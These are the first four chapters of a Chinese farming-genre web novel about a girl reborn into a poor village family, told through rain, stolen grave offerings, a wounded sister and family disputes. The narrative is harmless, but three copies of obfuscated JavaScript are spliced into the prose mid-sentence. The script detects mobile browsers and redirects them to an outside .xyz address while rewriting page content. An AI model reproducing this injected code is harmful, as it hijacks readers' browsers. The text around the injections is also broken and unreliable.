《苦荞（种田文）》 1. 坟山避雨 夏日的暴雨总是来得这样急。 远听得自山那头传来的阵阵沙沙声，傅娘子赶紧张招呼了声女儿，自己则抱起一大堆猪草抄了近道往地埂边走，似乎不曾想到她是赤了脚的，而那地埂上到处是黑莓果刺。 正在土豆堆里扒泥巴的乔小遇抬起头来，紧将着又将手上的两个土豆抹了泥巴丢进粪箕里，才边跑着搓了手上的泥，往地边的杉树处跑去。 她身量小小的，在刚挖出的泥巴地里深一脚浅一脚地踩着，瞧着十分艰难，傅娘子又冲她喊了声，“快些！” 乔小遇步子踉跄间，豆大般的雨点已打在了她的身上。 “叫你今日就在家里歇息的，可你爹那人……”傅娘子停了口不再往后说，只懒得再说丈夫不体贴孩子了，便只看着人能下床，心头惦记着这几亩泥荒地，就使唤孩子来地里做活了。 傅娘子瞅了女儿一眼，瞧着她脸上没有半分表情，不禁皱了皱眉，接着喃喃道：“最近这天可真是漏了，就算能将这两亩地里的土豆收起来，怕也是堆放不住的，过几日土豆就要烂掉了。” 乔小遇抿了抿唇，旋从篮子里拾出自己的那双破布鞋，用镰刀把子敲散鞋里的泥巴准备穿上。 “敲轻些，你鞋子破得那么快，就是你用刀把敲烂的。”傅娘子烦躁地说了声。 乔小遇知道傅娘子心情不好，只得将镰刀放在一边，忍着疼用手指将鞋尖里的泥块扣出来。 她年龄渐长，这双穿了做农活的布鞋虽是去年的，却也有些紧了，若不把里头的泥巴清理出来，脚便塞不进去了。 傅娘子见乔小遇沉闷着不说话，嗓音放柔了些，道：“你若爱惜些，等你穿不上的时候你妹妹便可轮来穿了，我也不用再去找布来绷鞋面。” 乔小遇轻嗯了声：“娘我知道了。” 她的嗓音像没断奶的小猫咪般没有什么精神，傅娘子只当是她刚刚病愈的缘故。 雨势越来越大，杉树缝里渗落了些雨下来，可冻得人脖颈微凉，而乔小遇终究从前几日那般恍惚的情绪中稍稍抽脱出来了些…… 这所见所触，无一不在提醒着她，她是真的离开了原来的世界，而从前那个执意攀附的女孩便仅是她夜梦中放松警惕而放出来的一个噬魂兽罢了。 而今她有了一个重新来过的机会，可这种“新生”却怎么也不能用“焕然”来形容，乔小遇觉着自己倒像是掉进了一个深坑，而坑壁上尽是滑腻的苔藓，让人无处着力爬至地面。 木然盯着跟前这块种了土豆的泥地，乔小遇觉着家里怎么也没法挖完这土豆，便似这辛苦艰难的日子一般永远捱不到头。 土豆收成不好，大多只有她拳头那么大，一攒半枯的苗拔了丢开，仔细挖深些，也不过能捡出五六小个。 这样挖着自是没什么干活的劲头的，可乔小遇爹娘担心有土豆被埋在了泥里，刨开后还歪了锄头仔细翻找……这般样子，工夫也就耽搁了下来。 话说回来，这雨已经下了半个月了，中间虽然有放晴的日子，可没等日头将地晾干，便又下起雨来。 乔家村的庄稼人没办法，便只能趁着没下雨的时候将地里的土豆挖起，所以这段时日，淋雨已经成为常态。 乔小遇这具身体的原身便是因为淋雨的缘故，发高烧去了的。令人唏嘘的是，乔冉安夫妻俩当日归家后只顾着猪圈里那四头嗷嗷急吼的猪仔的吃食，也没忙得及烧点热水让孩子将衣服换下…… 原身乔小遇在跟傅娘子说了头疼后，傅娘子竟也只是让她蒙着被子睡一觉，说是发出汗便好了，连孩子何时去了、何时换了都不知道…… 乔小遇清醒过来时，心里本还对乔冉安和傅娘子颇多怨言，可等她摸清楚这家里情况后，那怨言早化成了迷茫。 不是当爹娘的不疼爱子女，而是家里本就有许多事挂在他们身上使他们无暇顾及。 今日傅娘子没有让乔小遇跟着挖，只是使了她去抹粘在土豆上的泥，这般回去后土豆会好分拣，也算是对女儿的照顾了。 这照顾仅到此处，须知这湾子里的黄泥染过的不仅是为父为母的那一辈人，而乔小遇他们这一辈是从泥里生出来的。 想回去吗？ 前提是她得知道怎么回去。没了这前提，之后的思虑便等同于徒然，等于笑话。 那便失了信心，就此呆在坑底么？这种假设在人还未被命运的绳索勒得窒息前，便被乔小遇否了。 折回当下的真实…… 乔家村统共七十多户人家，守着的土地山林却多是些贫瘠之地。乔小遇到这里后，还没有机会出远门，但看着家里每日都蒸些玉米面来吃，做的菜不是煮土豆就是煮野菜，便知这家里的经济情况相当拮据。 好在勉强可以吃饱吧，但也只是暂时罢了。 乔小遇听傅娘子烧火时对乔冉安抱怨过一些事，知道入冬后家里玉米面就跟不上了，乔冉安寻思着去借点荞麦种子撒下，等秋天打上来便可以用荞面和着玉米面蒸了做饭，大抵能捱过去…… 自己都用“捱”这样的字眼去形容了……这一家的生活都被忙碌、贫乏、焦虑这类字眼所充斥，而村里大多数人家似乎都是这样过的。 乔小遇“得益”于幼年时被父母扔在乡下靠奶奶养活的那段日子，对穿越后的农家生活还算适应得快，但这并不代表她能接受当下所处的情境。 “便走一步算一步吧，说道什么山穷水尽……” 她的思绪被一道撕裂阴云的雷光拉回，看向远处泥地里的那堆土豆的视线也渐渐染上了一丝温度，轻声说道：“上头那层土豆被雨打过，浆泥也就不见了，倒是省了些事啊。” “你这孩子惯会躲懒。”傅娘子笑骂了声，眼角的皱纹稍稍舒展开来。 “娘，这雨怕还要下哩，不如等一会儿雨势小些，咱们拿了伞遮着去旁边的陆家坟里躲一躲吧。”乔小遇侧头对傅娘子笑着说道。 乔小遇这个原身的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924330|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人曾偷溜进陆家坟那边的山头抓过松毛，知道那儿的坟碑修得讲究，有的还带了三层碑帽，碑心中间足够容人，这样的天气，绝对是个避雨的好所在了。 傅娘子面色犹豫，说：“陆家坟是外姓人家的坟山，还专门请了乔大闯看顾，咱这般怕是不好吧。” 乔小遇闻言一笑，说道：“这天气，乔大闯估计坐家门口咂巴着旱烟呢，怎么可能进山来。” “你这孩子怎么说话的？”傅娘子没好气地瞪了乔小遇一眼，想了片刻后才道：“要不你自己去吧，拿了伞去，我在这等你爹，省得他来了看不到人担心。” “好吧。”乔小遇点了点头。瞧着雨势小了几分，她便带了伞跑进了陆家坟的山里。 到底是坟堂，乔小遇还真是有些害怕。看着坟堆上长得和人差不多齐高的山草，乔小遇不敢再往深处走，也不愿裤腿被裹湿，便在坟堂边缘随意寻了个只有一层碑帽的坟碑钻进去了。 躲在碑心里，撑开的伞面能挡了雨去，只架不住山风往里灌，冷飕飕的，乔小遇无奈地将身体朝后缩了缩…… 只没想屁|股被什么东西硌到了，乔小遇轻嘶了声，侧身看去，才发现那里放了一小堆青松毛。 “怎是青的？”乔小遇想着这座坟怕是刚有人来祭奠过，伸手扒开松毛，见里头竟摆了几个油纸包，心头一阵雀跃。 “竟然用腊肉祭奠，陆家村的人真是富裕。”见油纸包里竟包了差不多一斤的腊肉，乔小遇不由得咂舌说道。 她又连忙将剩下的两个重量轻些的油纸包打开，没想到里头包了饴糖！ 乔小遇咽了口唾沫，旋即又摇了摇头，嫌弃地道：“前世里这饴糖我仅是小时候得吃过，长大后都很少见人卖了。” “大家就是想吃也多买某记的酥糖、某芙的巧克力，至于童年的味道回忆也都留给了大白兔奶糖，谁还稀罕这玩意儿……可我现在竟然对着几块饴糖流口水？” 乔小遇轻笑了笑，小心翼翼地重新将饴糖和腊肉用油纸给包好，揣进自己的布褂兜子里，却才觉得自己似乎遗漏了什么…… 现在既不是大年初几，也不是清明时节，怎会有人来坟山里拜祭？ 乔小遇的视线落到碑心的碑文上，跟念出声：“先夫彰君之灵……” 这个世界的字用的是繁体，乔小遇认得清楚，可她念着念着声音却是弱了下去，尤其看到这座坟埋的人的生卒年月时。 “永安十五年六月二十一日卒……算算日子，这座新坟也不过垒起一两天，里头埋的人竟才活了三十多岁就去世了。” 乔小遇方欲感叹下人生苦短，可一想到自己这具身体原来的主子是十二岁时便死了的，不禁摇头叹息，“且瞧瞧乔小遇你吧，同是病死的，你却才称得上是个短命鬼。” 乔小遇已然没什么心情继续往后看死者陆彰的那些生平之事了，她的嘴角挂着自嘲的笑容，目光仿佛停落在灰蒙蒙的雨幕深处，教人看不清深浅。 2. 隔坟有耳 雷声轰鸣间，漫天的雨线已被狂风扭缠得失了规则，层叠着叫人看不清痕迹，待快落地时却又化为无数条鞭子，狠命地朝高高的山草上抽去，发出呜呜的声响。 “好在那杉树低矮，娘在那处躲雨应当没事，只雨太大了，这把伞应当留给娘的……” 乔小遇直叹了口气，接着却听见侧边传来一阵窸窸窣窣的响动。 “可千万别是乔大闯那厮。”乔小遇担心被人发觉，连忙收了伞，当下连口粗气都不敢喘，又将身子往后缩了缩，祈祷着来人可别往陆彰的坟前走过。 “荣哥快来，这里有座两层碑帽的坟。”乔丫丫兴奋地叫出声来，兄妹俩连忙将大黑伞收了躲进旁边的那道碑空里。 来人是乔大闯家的俩孩子，乔小遇寻思着他们应是给陆氏看山来的，今日竟凑巧遇上了。 她苦笑了笑，暗道：“方才也没仔细瞧旁边的坟碑，这兄妹俩运气可好……不过好在没往那里躲去，不然揪个现行，回头乔大闯又得到家里来闹事了。” 这情形乔小遇是不敢在乔荣兄妹俩离开之前惹出什么动静了，只盼着雨快些停。 乔荣担心妹妹一个人害怕，俩人挤作了一处，不过他的态度始终有些粗暴，话说四句总有三句在凶乔丫丫，“赶紧再挪过去些，我的胳膊还露在外头呢。” “荣哥，那鸡枞今日不捡了吗？”乔丫丫话音瑟缩地问道。 “到处都是泥浆，咱别管老爹的吩咐了，明天太阳出来再去采。”乔荣一边将鞋底沾的稀泥刮在坟碑的石台上，一边说道：“反正鸡枞窝长在咱家的地埂上，乔家村的那些土贼崽子谁有胆子进陆氏的地盘。” “呵，说来也是，这地皮虽是陆氏的，可都多少年没来看过了，被咱们家开成了荒地陆家也不知道。” 乔小遇听着乔丫丫那得意的语气，不禁皱了皱眉，“原来乔大闯一家一直在狐假虎威！” 她从原身的记忆里中得知，村里不是没有小孩进过陆氏的山林摘些果子来吃，可一旦被乔大闯逮住便也只有还回去的份，孩子爹娘还得去赔礼道歉，而乔大闯那架势简直了，惯会摆谱！ 可说到底，对乔小遇而言这事就此而止了，左右都是乔大闯跟陆氏的牵扯，她可管不着的，也管不上。 没想又听那乔荣嘚瑟道：“开了荒的那片山早不是陆氏托咱家管的了，我听老爹说，那处地段五年前就划归到了乔家村公中，里正也是知道的，不过嘛……嘿嘿，老爹每年送了里正半头猪，他也就没跟大家伙说清楚了。” “竟有这事？我咋不知道？” “嘁……五年前你才多大，能知道什么？”乔荣白了乔丫丫一眼，拐了拐她手肘子，接着说道：“你可别往外说啊，回头叫老爹知道了挨打的又是我。” “知晓了。”乔丫丫话音拖长了些，面上一派兴奋之色。 乔荣瞥妹妹一眼，旋即又后悔自己竟将这些事告诉了她，口中骂咧道：“你知晓个鬼，就没见过你这么缺心眼的人。上次带你去摸乔小遇家的土豆，带到山里烧了吃，你吃完了竟又跑回她家地里跟乔小遇她爹道歉……你既然跟着我干了坏事，自己要认错自己认，又干嘛把我供出来？” “可土豆确实是你摸的，我连她家地都没进去……” “你倒还耍赖了？我问你，那烧土豆是不是你吃得最多？我在地里摸土豆时是不是你帮忙放的哨？你这难道不是帮凶，怎么老爹只打我却不打你？” 兄妹俩你一句我一句地又互相责骂起来，听得乔小遇直直摇头，轻嗤了声：“都是些小屁孩子。不过乔大闯竟拿半头猪换里正的封口费，想来那片荒地的收成一定不错。” 乔小遇想到这里，心头竟渐渐生出了几分不平之意，“既然是公中的地，乔大闯一家凭什么占耕了这么多年？” 雨势终于停了下来。 且听得乔荣兄妹的说话声渐远渐低，乔小遇才从陆家坟山里离开。至于这不经意间所闻之事，她却觉着同爹娘说了也无甚用，轻摇了摇头。 来到地里，乔小遇见乔冉安已然到了，正跟傅娘子一起用粪箕把土豆装了倒进篮子里。 “爹娘可是打算回家去了？”乔小遇话音里透着疲累，接着道：“可是路上滑，要把地里的土豆猪草全背回家，还不得摔大跟头？” 她连忙上前阻了傅娘子拾土豆的动作，道：“娘，让爹少背一些吧，到篮子手就可以了。这下雨天的，路上要是摔跤了可怎么好？几日前长田叔摔了一跤，到现在都还下不了床。” “那岂不是要再跑一趟？多麻烦，放在地里还有可能被别家偷拿了去。”傅娘子觉得乔小遇的话有些不好听，神情有些不耐。 偏站在一旁扶着篮子的乔冉安憨笑着道：“闺女这是心疼爹呢。没事，爹背得动。” “那咱们就把土豆背了，猪草叶明早我来背可以么？左右咱们家这地位置偏远，一般人也不会来。”乔小遇强忍住扶额的冲动，劝傅娘子道。 乔冉安是个心地厚实的，一直重复着自己还能背得动，路上定会小心些的话…… 只傅娘子这一回却直接将粪箕里的土豆倒进了自己的篮子，转过身来白了乔冉安一眼，笑骂道：“还不快些走，你先回家去，把小佩从阿婆那里接回来！” “哎……好，我这就回家去。你娘几个路上也当心些。”乔冉安不敢再多话，确是知道傅娘子体贴他，一时间倒觉得自个儿浑身都充满了力气，篮子里的土豆还不够他背的。 看着乔冉安的背影渐渐缩小，乔小遇直觉得眼眶一阵发酸。 乔冉安待傅娘子确实是好，只更多的时候却是余力不足，以至于这心意溢出时会有一种愚钝感。 因担心着后脚还会跟着下雨，傅娘子紧催了下乔小遇，只帮女儿提篮子时却在无意当中触碰到了藏东西的布褂子。 “咦，小遇，这是什么东西？” 傅娘子径直将掏出了油纸包，狐疑着眼瞥过女儿，然而乔小遇口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924331|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一阵嗫嚅，还不曾想到说辞…… 油纸包很快便被拆开了，傅娘子随即便停住了手中动作，但瞧了眼那油纸便知是拜祭用的，她的脸拉了下来，“你好好说，这是哪来的？” “坟山里捡着的。”乔小遇沉默半晌，终才咬牙说道：“我只是想着家里人已经很久没得吃这些东西了才捡回来的……娘，您别怪我。” “那是供给过世的人的，你怎能随意拿了来？”傅娘子出声低斥道。 乔小遇闻言，最初的欢喜与忐忑已被傅娘子这忌讳的语气给冲散得干干净净，低声嘀咕道：“只有饱腹之人才有那心思去帮着死人打点了……” 她这话透着几分尖刻，教傅娘子听了直直叹气。 乔家村这片地穷得冒烟，平日里若有老人去世了，祭奠时也没瞧见哪家能拿得出腊肉来用，不过多烧些纸钱罢了——这般对比，实让人觉着唏嘘。 眼瞧着傅娘子又要出言训声，乔小遇摇头轻喃道：“娘，东西既已拿回来，送回去又有什么意义？便瞧着这好生生的腊肉被山猫吃了，这饴糖被虫子搬进穴窝里？” “你竟这般不敬鬼|神的？”傅娘子错愕地看向乔小遇，嗓子眼处仿佛被什么东西给紧堵住了般，话音显得十分艰涩。 “我知道娘想说什么……” 乔小遇避开她娘审视的眸光，微微垂睫道：“可不论留世之人用何物拜祭，为的也只是寄托那一份哀思。您要实在觉着不合适，等秋天来我将咱家院里的果子摘几个送回去？就当赔过了可好？” “您也知晓咱们家如今的状况，这腊肉怎么也值一百多文铜钱了……”乔小遇放轻了语调道。 傅娘子闻言是一阵长久的沉默。腊肉与山果怎算对等，然而不必深虑，乔家村与陆氏的人饮的也不是同一条流水…… 她定定地看着女儿那张带了病态之色的面颊，整个人仿佛已经感受不到凉风拂过皮肤时所带来的刺痛感，只随着眼角的酸胀感愈发强烈，眸中渐盈满了泪水…… 傅娘子意识到，她和乔冉安想支撑起这个家已越来越不容易了。 “罢了，便将东西收好吧。只饴糖能给你们姊妹留些，别的便让你爹拿去镇上换钱吧。”傅娘子轻点了头，说道。 乔小遇恍惚间凝了下眉色，终将那油纸包重新塞进了布褂兜子里。 “娘，日子总会好起来的。”乔小遇折身背上傅娘子提给她的篮子，低缓了声道。 …… 尽管还未到晚间，可天色阴沉，墨黑色的云层已然压下，径将山壑间也填满了。 乔小遇推开柴门回到家时，比她先至家中半步的傅娘子淡笑着招呼了句“快去把土豆倒在梁下，歇一会儿”的话后，便钻进偏屋里剁猪草去了。 “嗯。”乔小曼嘴上虽应了，可身上实在疲乏，便直接将篮底顿在了院里的石坎上，准备歇上一歇。 她之前是憋了一股精神气，可在推开家门的那一瞬间竟全数卸了去。 3. 白芨治伤 乔小遇粗喘出了几口气，低头看了眼自己所穿着的那双被灌满了泥浆的布鞋，不由得有些发怔。 她已数不清回来的路上自己究竟摔了多少跤，只一想起走在小道上便是挪了小半步子也得紧扯了蚊子草的战兢模样，乔小遇便觉着头皮一阵发麻。 谁叫家里的地又偏又远呢？ 她那爷爷奶奶都是偏心的人，当初分家时，她爹乔冉安尚未娶妻，便只得了三亩坡地。 那坡地平常只能种些玉米土豆，要说像村头大河沿岸的地方种些水稻却是没法子的了，而等后来她爹娶了傅娘子，几个叔伯也从未主动提起过重新分地的话。 当然，如乔冉安这般性格怯懦的人，是根本不敢同他几个厉害的哥弟说这事的，便是傅娘子将他逼得紧了，乔冉安也只会用类似于“兄弟相亲”的话搪塞过去。 村里人暗地里嘲笑乔冉安是个怂包，可嘴上从来都是夸赞他忠厚老实的，尤其当着傅娘子的面，那夸赞的语气可算是真心极了。 傅娘子有苦说不出，想对乔冉安发火吧，可乔冉安对她从来软言细语。为此傅娘子私底下不知流过多少次眼泪，而她终究只能劝自己宽心些。 日子便就这么熬了下来，熬到他们有了孩子，熬到那三亩坡地上又种下了苦荞和肥田萝卜。 “到了这年岁，各自的性子怕已是难改了。”乔小遇瞥了那弓着身子往大灶里塞柴火的傅娘子一眼，收回自己已然飘远的神思。 渐觉着肩膀没那么疼了，乔小遇方才退出手扶了篮子对傅娘子说道：“娘，土豆我先倒在院子里吧，就着雨打一会儿便拣了，省得裹了泥分辨不清，倒把烂土豆放了进去。” 烂了的土豆要是不尽快拾捡出来，土豆就会烂得更多，乔小遇也是不想改天又去土豆堆里翻了找腐烂的，多费工夫不说，那些个烂土豆的手感和气味实在让人反胃。 傅娘子觉着乔小遇的话有几分道理，便应了句好，还吩咐乔小遇倒得轻柔些，不要磨花了土豆皮。 乔小遇从伙房里拿了几只粪箕出来，一边弯腰拉过门扣，朝傅娘子问道：“娘，爹还没有将妹妹接回来么？” “是啊……怎去了那么久？”傅娘子把烧了半截的柴火往里头再塞了塞，旋即站起身来，对乔小遇吩咐道：“你去看看。” 乔小遇应声过，便不待出门，凑近了院栅栏朝外瞧，她便远看见乔冉安背了妹妹回来的身影，“爹他们回来了……” 人走得近了，傅娘子母女俩便也听到了乔小佩的轻嘤声。 “这是怎么回事？”傅娘子远瞧见小女儿额头上渗出了大滩血，几乎被吓得魂飞魄散，赶忙将手里那搅猪食的铲子丢开便跑将过来。 这厢乔小佩原已被乔冉安哄得安静许多，可一瞧见娘亲和姐姐过来关切，哭声立马又高了起来，挣喊着便往她爹背上下来。 乔小遇弯下腰，小心地用那不曾染了泥的手肘圈住了妹妹，接着低声哄将起来。 “阿婆家的几个孙子打架，不小心推到了小佩，磕破了点皮。”乔冉安见傅娘子过来，不自觉地瑟缩起了脖子，话音微颤地道：“你且放心，那口子并不深，这会儿都差不多干了……” “你还说？你看她满脸的血痕！”傅娘子急到了嗓子眼，话音变得十分尖：“是哪个小崽子打的，看我可不提了赶猪棍去打他个屁股开花……” 乔小佩显然被她娘摆出的这大阵仗给吓着了，一时忘了低啜之声，眼神亦还带了几分呆滞。 “娘，您声音小些，瞧妹妹被您吓得。”乔小遇连将妹妹拉离了爹娘几步远，才折回头去无奈地道。 空气中似乎有那么片刻的安静，比不得乔冉安那温吞性子的傅娘子直气得跺了跺脚，才想着要收下自己的脾气，然而下一息间，乔小佩的哭喊声却是难得停了。 傅娘子索性也不管乔小佩怎么哭嚎了，只转头吩咐乔小遇去寻些观音土来给妹妹敷上，便又继续“盘问”起乔冉安来。 “这观音土能抵什么用呢。”乔小遇眼瞥过那装了观音土的陶罐子，直是摇头。她留了一只耳朵听着外头的动静，一边轻手将妹妹脸上血痂子用湿脸巾拭了去。 瞧着妹妹额头上那道显眼的半深口子，乔小遇的眉头紧拧作了一团。渐地，乔小佩的情绪已被安抚住，只终究还是有一下没一下地抽动着。 “你怎么没有洒观音土上去？”进屋来探看的傅娘子且见乔小遇依旧半坐着，自顾去端了装着观音土的陶罐来。 乔小遇出言相挡，“别！小妹这伤口隔着眉眼不远，若用了观音土，日后定是要留疤的，似一条蜈蚣般地扒在上头的话，可怎么好？” “你还在意这个？”傅娘子有些无奈，幸是见着小女儿的伤口没流血了，她一直提着的心才稍松了松，“那便不用了？要是他待会儿再将伤口挣开来，不还是一件麻烦事？” 乔小遇把妹妹放在跟前的小矮凳上，轻拍了拍她的背，才与傅娘子道：“咱家茅厕后头的小坡上不是长了一种叫做白芨的草？之前我同您去镇上时我曾瞥过两眼的，那东西能治伤用。娘，您且看护妹妹一会儿，我去坡上寻些来。” “白芨？治伤？我怎么没有印象？”傅娘子半愣着看乔小遇折身，只乔小遇并未细说。 等乔小遇将白芨挖回来后，傅娘子拾捡起一株白芨仔细瞧了瞧，疑问道：“你是说把它的叶子用研臼磕成糊团再敷上么？这根茎长得可真奇怪。” 乔小遇摇头失笑，不禁想起幼年时她随了村里的大姐姐们去地里割猪草的日子。 那时若不慎被镰刀割伤，大姐姐们就会割一把黑蒿，放到石头上砸，直到出了绿汁，便才将黑蒿糊敷在她的手上…… 她虽与这个世界的乔小遇有着不同的生活环境，可某些经历却在无形当中重叠在了一处——便如此时傅娘子所开口相问的，大抵也将那白芨叶当黑蒿之类的草叶用了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924332|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我以前跟娘去镇上买盐瞧见人卖的，说是烘干了能止血。不过当时不晓得棵木长什么样，就单瞧见根茎了，就是这般似小鸡头的样子。”乔小遇继续说道乔小遇拧眉说道：“我也是今早上茅厕时，从爹砌山墙挖出的那些泥巴堆里瞧见的。” 傅娘子若有所思地点了点头。 直等乔小遇将白芨根研成细粉端来后，傅娘子才站起身来，叹道：“这工夫实在难磨，你妹妹并不粘我，我看护在她身旁的这会儿，她疼极时哼声也是压着的。” 乔小遇温和一笑，低眉移至妹妹身旁与她上药，而傅娘子则忙着去搅猪食，或者说是与乔冉安“问罪”去了。 这院子里便没个消停时候…… 傅娘子跟乔冉安的争吵声已是愈发大了，或者更准确地说，应当是傅娘子的骂咧声越来越大，因为整个过程中乔冉安始终未见得还一句嘴，只耷拉了头，像个受气的小媳妇般站在傅娘子旁边。 幸好乔冉安家不住在大村子里，否则乔小遇当真要怀疑照着傅娘子这阵仗，村里的妇人们定会闻声过来看热闹的。 “我如何就嫁了你这样一个男人？我是冲动些，可怎么就没容人之量了？何况还是些小孩子，乔阿婆平日里对咱家又照顾许多，你倒当我会提了柴刀去找人算账吗？”傅娘子直气得跺脚。 听着傅娘子的抱怨声，乔小遇不禁轻叹了口气，暗道这傅娘子是个外强中干的，事到临头了，那杆秤她还真不见得就能如她口中所说的那般掂量得清清楚楚。 乔小遇无奈地朝傅娘子喊道：“娘，猪食似乎有糊味了……” 没待她将后面那句“您俩快别吵架了”的话说出口，傅娘子便停了训骂声，风风火火地奔到了灶边，口中一边低吼道：“可完了，这锅猪食竟真的糊了，猪仔子怕是不吃了……” 如此，乔冉安可算是免过了一劫。但瞧着傅娘子在灶台上忙碌的身影，乔冉安不禁对立在门边的乔小遇挤了挤眼，暗想着还是他闺女聪明。 一家子人各自又接着忙起来。 乔冉安趁着天还未黑，拿了锄头和篮子去垒砌山墙；傅娘子则提了猪食去喂猪，许是猪仔不好好吃，将猪食溅出了食盆外，猪圈里又传来傅娘子的骂咧声；至于一家子的吃食，便由乔小遇来做了，她倒是想做得好吃些，可家里除了些常见的葱蒜，别的调料都没有…… 浓重的夜色渐渐迫近乔家村，饿了半天的牲畜嗷嗷叫唤着，听着十分吵闹，而当一道道晕黄的柔光从屋内探出时，人们的内心似才求得片刻的宁静。 村里人是用不起灯油的，柔光的来源是一块块沾满了松脂的树皮，人们管这东西叫肥泥子。 不过这东西不禁烧，若是夜里凉了，大家会用肥泥子烧起柴火，而平日里肥泥子的效用只需撑过吃饭这段时间便行了。 而今晚，乔小遇家的肥泥子却着实烧了很长时间，因为乔阿婆家的两个儿媳到她家来了。 4. 孝子贤孙 气氛似乎有些尴尬。 傅娘子坐在火边的小木床上做鞋垫，倒像是没瞧见来人一般，并不起身来迎。乔小遇见此情形，忙先放下手头的活计去招呼人倒水，道：“二婶子三婶子先坐。” “哎，好……小遇你忙着。”乔刘氏尴尬的神情稍稍得缓了几分，随即对傅娘子笑道：“嫂子在做针线呢，这黑灯瞎火的可伤眼睛了，你等白天了做也是一样的。” 然而傅娘子并不搭理她这话，乔小遇知她还在为妹妹磕破了头的事情生气，轻摇了摇头——阿婆家的几个孙子没教成个正形，今儿小佩实是被他们故意推倒的。 乔冉安怕来事，因担心傅娘子上门跟人理论，所以他对傅娘子扯了谎，只傅娘子在逼问清楚来龙去脉后，心底的怒气则因乔冉安的作为给憋了个满怀！ 傅娘子这会儿一言不发地做着鞋，便是在等人上门道歉。不过道歉的人到了，脸子依旧得拉上那么一时半刻。 乔刘氏与乔陈氏讪讪地拉了两节小凳坐到了傅娘子对面，可接下来的话究竟该怎么开口两人却没了主意。 默然片刻，乔刘氏才出声问道：“嫂子，你家小佩怎么样了？” 傅娘子斜瞥了一眼过来，没好气地道：“好些了，在里屋睡着呢。” 乔刘氏闻言，眸中情绪莫名，搓着膝盖处的裤子褶纹接话道：“嫂子，这事是我们家里的小兔崽子捣乱来着，方才我出门前俩孩子还被他爹拿了鞭子狠抽呢，想来他们定会长些记性的。” “我家的也在门外头罚站呢。”乔陈氏这么补了一句，可眼圈接着便红了起来，“我瞧着他爹一天到晚地在地里忙活，回到家里连口热饭也还没来得及吃，倒还去操心这些娃子的胡闹事，气糊涂时还对我婆婆说了几句气话，这可不是伤人心？” 傅娘子没想这事竟教乔阿婆难做了，手上动作微顿，戳进鞋垫里的线还未完全扯出来便直接收了势，道：“左右小佩也没怎么着，你们也别太往心里去了，回头且劝劝根茂他们哥俩。” 她这话说得真心实意，两个妇人闻言神情不由得透出几分心虚来。 乔陈氏不自主地扣了扣指甲缝里的泥，呵笑了声道：“嫂子的心意我们两家承了，不过有句话，妹子我却不知当讲不当讲……小佩已被带回家这么一会儿了，想必几个孩子是为了什么缘由吵闹你也是晓得了的。” 见傅娘子的目光朝自己看过来，乔陈氏轻咽了口唾沫，接着说道：“嫂子，我知道乔大娘平日里不会帮你照管孩子，你跟哥哥也就过得辛苦些，干农活也不方便，尤其这段日子一直下雨来着……可是你跟哥哥也不能就这样把小佩托给我娘带着啊，是吧？” “你这意思是？”傅娘子皱了皱眉，最先故作出的强势已不见形了。 “嫂子晓得的，我娘她轴得很，平日里是不与几个儿子家同住的，只我们要忙地里的活计，还得请了她老人家帮我们带孩子，加上我大哥家的，那可都四五个的娃拴在她脖子上了，而我娘的吃穿向来都是我们几家分摊了的。” “小佩由我娘带着时，中午喝点稀饭，晌午捞些零嘴，我娘竟把她待得比自己的亲孙子还要好，今儿几个孩子可不就闹起来了？”乔陈氏摊了摊手，说道。 她的语气还算委婉，可就乔小遇听来，这当中失实夸张的地方也不是没有。 乔阿婆不跟几个儿子家里住，还不是因着跟媳妇间的关系不融洽的缘故。不过落在乔陈氏口中，倒全是老阿婆的不是，尽让村里人没得看成他们这一家子当孝子贤孙的情形了。 还有乔阿婆带着的孙儿怎么也不会超过两个去，因为农家的孩子但凡大些，便会被爹娘带了去地里教做活计，最初兴许不过搭把手，但终归不会让孩子到山上野疯了，更不会放家里闲着。 在村里人看来，养活一个孩子，意同养活一张嘴一般。 傅娘子确是不曾想到这两人前来的目竟是这样的。她静静地凝视了对方半晌，才问道：“那阿婆什么意思？” 乔陈氏干笑了笑，斜瞥了眼那面上已浮出几分冷讽神色的乔刘氏，才硬了头皮道：“这是我跟二嫂子商量过之后的意思……” “以后小佩便不要送给我娘带着了，到底村里说乔大娘的话不好听，一家人还得为一家人着想，嫂子说是不是？” 傅娘子听得这话愣神，手头的针竟从铁顶针表面划过，继而戳进了她的食指…… 然而她似失了痛觉一般，只干抿了抿唇，说道：“你们的意思我已明白了，但我家小佩却是交由阿婆帮着带的，不曾麻烦过你们。” “小佩正在长身体，她喝的稀粥是我一早就拿了放到阿婆那里的，这也不曾妨碍到你们哥几个的孝心。她如今也六岁了，平日里也会帮着家里做活，只这雷雨天气带她去地里不方便，才少不得麻烦你婆婆。” 